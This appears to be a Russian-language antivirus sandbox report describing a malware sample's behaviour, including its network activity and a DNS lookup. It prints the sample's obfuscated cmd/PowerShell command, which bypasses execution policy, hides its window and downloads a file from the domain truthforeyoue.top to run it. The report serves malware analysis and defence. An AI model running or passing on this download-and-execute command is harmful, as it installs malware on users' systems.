Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://truthforeyoue.top/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "powerS^HE^ll.^e^x^e ^-eXEC^uTIOnPol^IcY ^byPas^s -N^OPR^oF^il^e -w^INDOwS^Ty^L^E^ H^i^D^DE^N (NEw-o^BjeC^T ^s^YSTem.^n^eT.^W^eb^cL^i^E^nt).Down^lO^ad^f^il^E^('http://truthforeyou...
Сетевая активность
UDP
- DNS ASK tr####oreyoue.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "powerS^HE^ll.^e^x^e ^-eXEC^uTIOnPol^IcY ^byPas^s -N^OPR^oF^il^e -w^INDOwS^Ty^L^E^ H^i^D^DE^N (NEw-o^BjeC^T ^s^YSTem.^n^eT.^W^eb^cL^i^E^nt).Down^lO^ad^f^il^E^('http://truthforeyou...' (со скрытым окном)
